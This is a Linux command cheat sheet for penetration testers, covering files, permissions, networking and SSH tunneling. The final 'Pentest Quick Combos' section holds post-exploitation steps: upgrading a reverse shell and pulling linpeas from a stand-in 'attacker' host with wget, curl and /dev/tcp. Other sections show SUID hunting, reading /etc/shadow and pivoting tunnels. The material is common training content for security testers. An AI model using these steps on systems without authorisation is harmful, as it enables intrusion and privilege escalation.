← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/linux-commands

kavklaw@llm $ cat linux-commands.md

Linux Commands Cheat Sheet

Essential commands every pentester needs — from basic navigation to network recon and SSH tunneling.

Navigation

pwd                         Print current working directory
cd /path/to/dir             Change directory
cd ..                       Go up one level
cd ~                        Go to home directory
cd -                        Go to previous directory

ls                          List files
ls -la                      Long listing with hidden files
ls -lah                     Human-readable sizes
ls -lt                      Sort by modification time (newest first)
ls -lS                      Sort by file size (largest first)
ls -R                       List recursively

File Operations

# Creating & copying
touch file.txt              Create empty file / update timestamp
cp file.txt backup.txt      Copy file
cp -r dir/ backup/          Copy directory recursively
cp -p file.txt dest/        Preserve permissions during copy

# Moving & renaming
mv old.txt new.txt          Rename file
mv file.txt /tmp/           Move file to /tmp

# Deleting
rm file.txt                 Delete file
rm -f file.txt              Force delete (no prompt)
rm -rf dir/                 Delete directory recursively (DANGEROUS)
rmdir empty_dir/            Remove empty directory only

# Reading files
cat file.txt                Print entire file
less file.txt               Paginated viewer (q to quit)
head -n 20 file.txt         First 20 lines
tail -n 20 file.txt         Last 20 lines
tail -f /var/log/syslog     Follow log in real time
nl file.txt                 Print with line numbers
xxd file.bin                Hex dump

# Editing
nano file.txt               Simple terminal editor
vi file.txt                 Vi editor (:wq save & quit, :q! force quit)
vim file.txt                Improved vi

File Permissions

# Permission format: rwxrwxrwx  (owner|group|others)
# r=4, w=2, x=1

chmod 755 file              rwxr-xr-x  (owner full, group+others read+exec)
chmod 644 file              rw-r--r--  (owner read+write, others read)
chmod 600 file              rw-------  (owner only)
chmod 777 file              rwxrwxrwx  (EVERYONE full — avoid this)
chmod +x script.sh          Add execute permission for all
chmod u+s binary            Set SUID bit (runs as file owner)
chmod g+s dir/              Set SGID bit (inherit group)
chmod +t /tmp               Set sticky bit (only owner can delete)

# Common numeric values
700     Owner full, no one else
755     Owner full, group+others read+exec
644     Owner read+write, others read
600     Owner read+write only
4755    SUID + 755

chown user:group file       Change owner and group
chown -R user:group dir/    Recursive ownership change
chgrp group file            Change group only

# Find SUID binaries (pentest goldmine)
find / -perm -4000 -type f 2>/dev/null
# Find world-writable files
find / -perm -o+w -type f 2>/dev/null

User Management

whoami                      Current username
id                          Current user's UID, GID, groups
id username                 Info about a specific user
w                           Who's logged in and what they're doing
last                        Login history

useradd -m newuser          Create user with home directory
useradd -m -s /bin/bash u   Create with bash shell
passwd username             Set/change password
usermod -aG sudo username   Add user to sudo group
userdel -r username         Delete user and home dir

su - username               Switch user (full login shell)
sudo command                Run command as root
sudo -l                     List allowed sudo commands
sudo -u user command        Run as another user
sudo su -                   Become root

cat /etc/passwd             User accounts
cat /etc/shadow             Password hashes (need root)
cat /etc/group              Group info

Networking

# Interface info
ifconfig                    Show interfaces (deprecated)
ip addr show                Show IP addresses (modern)
ip link show                Show link status
ip route show               Show routing table

# Connections & ports
ss -tulnp                   Show listening TCP/UDP ports with PIDs
ss -ant                     All TCP connections with state
netstat -tulnp              Same as ss (older tool)
netstat -antp               All TCP connections

# DNS
dig domain.com              DNS lookup (detailed)
dig domain.com ANY          All record types
dig @8.8.8.8 domain.com     Query specific DNS server
dig +short domain.com       Just the IP
nslookup domain.com         Interactive DNS lookup
host domain.com             Simple DNS lookup

# Connectivity
ping -c 4 10.10.10.1       Send 4 pings
traceroute 10.10.10.1       Trace route to host
tracepath 10.10.10.1        Trace without root

# Data transfer
curl http://target/file     Fetch URL to stdout
curl -o out.html URL        Save to file
curl -s URL                 Silent mode
curl -X POST -d 'data' URL POST request
curl -I URL                 Headers only
curl -k URL                 Ignore SSL errors

wget http://target/file     Download file
wget -r URL                 Recursive download
wget -q URL                 Quiet mode

# ARP
arp -a                      Show ARP table
ip neigh                    Modern ARP table

Processes

ps aux                      All running processes (BSD style)
ps -ef                      All processes (System V style)
ps aux | grep apache        Find specific process
top                         Live process monitor
htop                        Better live monitor (if installed)

kill PID                    Send SIGTERM (graceful)
kill -9 PID                 Send SIGKILL (force kill)
kill -l                     List all signals
pkill processname           Kill by name
killall processname         Kill all instances by name

# Job control
command &                   Run in background
jobs                        List background jobs
fg %1                       Bring job 1 to foreground
bg %1                       Resume job 1 in background
nohup command &             Run immune to hangups
disown -h %1                Detach job from terminal

# Useful combos
pgrep -la ssh               Find PIDs + cmdline for ssh
lsof -i :80                 What's using port 80
fuser 80/tcp                PID using port 80

Disk & Storage

df -h                       Disk space usage (human-readable)
df -i                       Inode usage
du -sh dir/                 Total size of directory
du -sh *                    Size of each item in current dir
du -h --max-depth=1         Size summary one level deep

mount                       Show mounted filesystems
mount /dev/sdb1 /mnt        Mount a partition
umount /mnt                 Unmount

lsblk                       List block devices (disks, partitions)
lsblk -f                    Show filesystem types
fdisk -l                    List disk partitions (need root)
blkid                       Show UUID and filesystem info

# Pentest: mount images
mount -o loop image.img /mnt            Mount disk image
mount -t cifs //10.10.10.1/share /mnt   Mount SMB share

Searching

# find — search by name, type, size, permissions
find / -name "*.conf" 2>/dev/null               Find all .conf files
find / -name "*.txt" -type f                     Files only
find / -user root -perm -4000 2>/dev/null        SUID files owned by root
find / -mtime -1                                 Modified in last 24h
find / -size +100M                               Files larger than 100MB
find . -name "*.php" -exec grep -l "password" {} \;  Search inside files
find / -writable -type d 2>/dev/null             Writable directories

# grep — search inside files
grep "password" file.txt            Search for string
grep -r "password" /var/www/        Recursive search in directory
grep -i "password" file.txt         Case insensitive
grep -n "password" file.txt         Show line numbers
grep -v "comment" file.txt          Invert match (exclude lines)
grep -l "password" *.txt            Only show filenames
grep -E "pass|pwd|secret" file      Extended regex (OR)
grep -c "error" log.txt             Count matches
grep -A3 -B3 "error" log.txt       3 lines before and after match

# locate — fast filename search (uses database)
locate filename                     Find file (needs updatedb)
updatedb                            Update locate database

# which / whereis
which python3                       Path to executable
whereis nmap                        Binary, source, man page locations

Text Processing

# awk — column extraction & processing
awk '{print $1}' file.txt                       First column
awk -F: '{print $1,$3}' /etc/passwd             Username and UID
awk '$3 > 1000' /etc/passwd                     UIDs greater than 1000
awk '/pattern/ {print $0}' file                 Lines matching pattern

# sed — stream editor
sed 's/old/new/g' file.txt                      Replace all occurrences
sed -i 's/old/new/g' file.txt                   In-place edit
sed -n '5,10p' file.txt                         Print lines 5-10
sed '/pattern/d' file.txt                       Delete matching lines

# cut — extract columns
cut -d: -f1 /etc/passwd                         First field, colon delimited
cut -d' ' -f1,3 file.txt                        Fields 1 and 3, space delimited
cut -c1-10 file.txt                             First 10 characters per line

# sort / uniq / wc
sort file.txt                                   Sort alphabetically
sort -n file.txt                                Sort numerically
sort -u file.txt                                Sort + remove duplicates
sort -t: -k3 -n /etc/passwd                     Sort by 3rd field numerically
uniq file.txt                                   Remove consecutive duplicates
sort file | uniq -c | sort -rn                  Count + sort by frequency
wc -l file.txt                                  Count lines
wc -w file.txt                                  Count words
wc -c file.txt                                  Count bytes

# tr — translate characters
cat file | tr 'a-z' 'A-Z'                      Lowercase to uppercase
cat file | tr -d '\r'                           Remove carriage returns
cat file | tr -s ' '                            Squeeze repeated spaces

# tee — write to file AND stdout
command | tee output.txt                        Save output + display
command | tee -a output.txt                     Append mode

# xargs — build commands from stdin
cat urls.txt | xargs -I{} curl -s {}            Curl each URL
find . -name "*.bak" | xargs rm                 Delete all .bak files
cat hosts.txt | xargs -P 10 -I{} ping -c1 {}   Parallel ping

Compression & Archives

# tar
tar -czf archive.tar.gz dir/          Create gzipped archive
tar -cjf archive.tar.bz2 dir/         Create bzip2 archive
tar -xzf archive.tar.gz               Extract gzipped archive
tar -xzf archive.tar.gz -C /tmp/      Extract to specific directory
tar -tf archive.tar.gz                 List contents without extracting
tar -xf archive.tar                    Extract (auto-detect compression)

# gzip / gunzip
gzip file.txt                          Compress (replaces original)
gunzip file.txt.gz                     Decompress
gzip -k file.txt                       Compress and keep original
zcat file.txt.gz                       View compressed file

# zip / unzip
zip archive.zip file1 file2            Create zip
zip -r archive.zip dir/                Zip directory
unzip archive.zip                      Extract zip
unzip -l archive.zip                   List contents
unzip archive.zip -d /tmp/             Extract to directory

# 7z (if installed)
7z x archive.7z                        Extract

SSH & Remote Access

# Basic connection
ssh [email protected]                    Connect to host
ssh -p 2222 user@host                  Custom port
ssh -i key.pem user@host               Connect with private key
ssh -v user@host                       Verbose (debug connection)

# SCP — secure copy
scp file.txt user@host:/tmp/           Upload file
scp user@host:/etc/passwd ./           Download file
scp -r dir/ user@host:/tmp/            Copy directory
scp -P 2222 file user@host:/tmp/       Custom port

# SSH key management
ssh-keygen -t rsa -b 4096              Generate RSA keypair
ssh-keygen -t ed25519                  Generate Ed25519 key (preferred)
ssh-copy-id user@host                  Copy public key to server

# SSH tunneling (pentest essential)
# Local port forwarding: access remote_host:8080 via localhost:9090
ssh -L 9090:remote_host:8080 user@jumpbox

# Remote port forwarding: expose local port to remote network
ssh -R 9090:localhost:80 user@remote

# Dynamic SOCKS proxy
ssh -D 1080 user@host
# Then configure browser to use SOCKS5 proxy at localhost:1080

# SSH tunnel through pivot
ssh -L 9090:10.10.10.2:80 [email protected] -N
# -N = no command, just tunnel

# SSH config (~/.ssh/config)
# Host target
#     HostName 10.10.10.1
#     User admin
#     Port 2222
#     IdentityFile ~/.ssh/id_target

System Information

uname -a                    Full system info (kernel, arch)
uname -r                    Kernel version
hostname                    System hostname
uptime                      How long system has been running
dmesg | tail                Kernel ring buffer (recent messages)
lsb_release -a              Distribution info
cat /etc/os-release         OS identification

# Hardware
lscpu                       CPU info
free -h                     Memory usage
lspci                       PCI devices
lsusb                       USB devices
cat /proc/meminfo           Detailed memory info
cat /proc/cpuinfo           Detailed CPU info

# Environment
env                         Environment variables
echo $PATH                  Show PATH
export VAR=value            Set environment variable
printenv                    Print all env vars

Pentest Quick Combos

# Spawn a proper TTY shell (after getting a reverse shell)
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z then:
stty raw -echo; fg

# Quick HTTP server (for file transfers)
python3 -m http.server 8000
php -S 0.0.0.0:8000

# Download files to target
wget http://attacker:8000/linpeas.sh
curl http://attacker:8000/linpeas.sh -o linpeas.sh
# If neither available:
bash -c 'cat < /dev/tcp/attacker/8000 > file'

# Quick enumeration
cat /etc/passwd | grep -v nologin
cat /etc/crontab
ls -la /etc/cron*
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
ls -la /tmp /var/tmp /dev/shm